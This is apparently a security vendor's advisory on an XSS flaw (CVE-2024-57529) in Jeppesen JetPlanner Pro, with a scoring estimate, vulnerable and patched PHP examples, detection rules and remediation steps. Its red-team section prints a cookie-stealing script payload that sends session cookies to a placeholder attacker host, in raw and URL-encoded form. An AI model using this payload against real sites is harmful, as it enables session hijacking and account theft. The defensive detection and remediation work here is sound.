CVE-2024-57529

Executive Summary

CVE-2024-57529 is a Cross-Site Scripting (XSS) vulnerability identified in Jeppesen JetPlanner Pro version 1.6.2.20. This flaw allows a remote attacker to inject arbitrary web scripts or HTML into the application, potentially leading to session hijacking, data theft, or further compromise of the affected system. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). No public proof-of-concept (PoC) or patch details are currently available, and the CVSS score is listed as 0.0, indicating incomplete or missing scoring data. The EPSS score is 0.0%, suggesting low exploitation likelihood at this time, but the lack of a patch elevates the risk for organizations using this software.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a standalone commercial application (Jeppesen JetPlanner Pro) used in aviation planning. No supply chain package security implications are present.

CVSS Breakdown & Threat Level

The CVSS score is reported as 0.0, which is likely a placeholder or error. Based on the vulnerability type (XSS), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – victim must click or interact.
• Scope (S): Changed (C) – impact may extend beyond vulnerable component.
• Confidentiality (C): Low (L) – limited data exposure.
• Integrity (I): Low (L) – limited modification possible.
• Availability (A): None (N) – no direct DoS.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Estimated Base Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability requires user interaction but can lead to credential theft or session hijacking. Without a patch, the risk remains elevated for exposed instances.

Deep Dive & Mechanics

The vulnerability resides in the input validation and output encoding mechanisms of Jeppesen JetPlanner Pro v1.6.2.20. The application fails to sanitize user-supplied data before rendering it in web pages, allowing an attacker to inject malicious scripts (e.g., JavaScript) via crafted input fields. When a victim accesses the affected page, the injected script executes in the context of the victim's browser, enabling actions such as:

• Stealing session cookies.
• Redirecting to phishing sites.
• Performing actions on behalf of the victim.
• Defacing the application interface.

The root cause is the lack of proper escaping or encoding of user input in at least one parameter or endpoint. Common injection points include search fields, form inputs, or URL parameters.

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical fix would involve implementing output encoding and input validation. Below is an example of vulnerable and patched code in a typical web application context.

Vulnerable Code (PHP example):

<?php
$user_input = $_GET['search'];
echo "<div>Search results for: " . $user_input . "</div>";
?>

Patched Code (PHP example):

<?php
$user_input = htmlspecialchars($_GET['search'], ENT_QUOTES, 'UTF-8');
echo "<div>Search results for: " . $user_input . "</div>";
?>

In the patched version, htmlspecialchars() converts special characters to HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Demonstrate XSS exploitation in a controlled lab environment.

Prerequisites:

• Jeppesen JetPlanner Pro v1.6.2.20 installed.
• A victim user with access to the application.
• A web server to capture exfiltrated data (e.g., using nc or a simple PHP listener).

Steps:

1. Identify an input field vulnerable to XSS (e.g., a search box or comment field).
2. Inject a payload such as:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Send the crafted URL or form to the victim (e.g., via email or social engineering).
4. When the victim loads the page, the script executes and sends the cookie to the attacker's server.

Example Payload (URL-encoded):

http://target-jetplanner/search?q=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal.php%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E

Note: No public exploit code is available; this is a generic demonstration.

Blue Team (Defender)

Objective: Detect and mitigate XSS attempts.

Detection:

• Monitor web server logs for suspicious patterns like <script>, onerror=, or javascript: in request parameters.
• Use Web Application Firewall (WAF) rules to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Apply input validation and output encoding (see patched code example).
• Use security headers: X-XSS-Protection: 1; mode=block, Content-Security-Policy: default-src 'self'.
• Regularly update software; if no patch exists, consider isolating the application or using a reverse proxy with XSS filtering.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown or suspicious domains containing cookie data.
  • Requests with parameters containing <script>, %3Cscript%3E, or similar patterns.
• File IOCs:
  • Modified web pages with injected JavaScript.
  • Unexpected entries in web server logs (e.g., GET /search?q=<script>...).
• Behavioral IOCs:
  • Unusual redirects or pop-ups in the application.
  • Session anomalies (e.g., multiple sessions from different IPs).

Detection Engineering

YARA Rule

rule CVE_2024_57529_XSS_Jeppesen {
    meta:
        description = "Detects XSS payloads targeting Jeppesen JetPlanner Pro"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-57529"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "javascript:" nocase
        $xss4 = "onload=" nocase
        $xss5 = "alert(" nocase
    condition:
        any of them
}

Sigma Rule

title: XSS Attempt Against Jeppesen JetPlanner Pro
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential XSS attacks targeting CVE-2024-57529
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
            - 'onload='
            - 'alert('
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in search queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57529 XSS Attempt - Jeppesen JetPlanner Pro"; flow:to_server,established; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-57529 XSS Attempt - Jeppesen JetPlanner Pro"; flow:to_server,established; content:"onerror="; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-57529 XSS Attempt - Jeppesen JetPlanner Pro"; flow:to_server,established; content:"javascript:"; http_uri; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If possible, restrict network access to JetPlanner Pro until a patch is available.
2. Implement WAF rules: Use a Web Application Firewall to block common XSS patterns.
3. Enable CSP: Add Content-Security-Policy: default-src 'self'; script-src 'self' to prevent inline scripts.
4. Educate users: Train users to avoid clicking suspicious links or entering data into untrusted forms.

Long-term Fix:

• Apply input validation and output encoding in all user-facing inputs.
• Monitor vendor (Jeppesen) for official patches or updates.
• Consider migrating to a supported version or alternative solution if no patch is released.

Note: Since no patch is available, the risk remains. Organizations should assess their exposure and apply compensating controls.

Valters IT
Securing Digital Horizons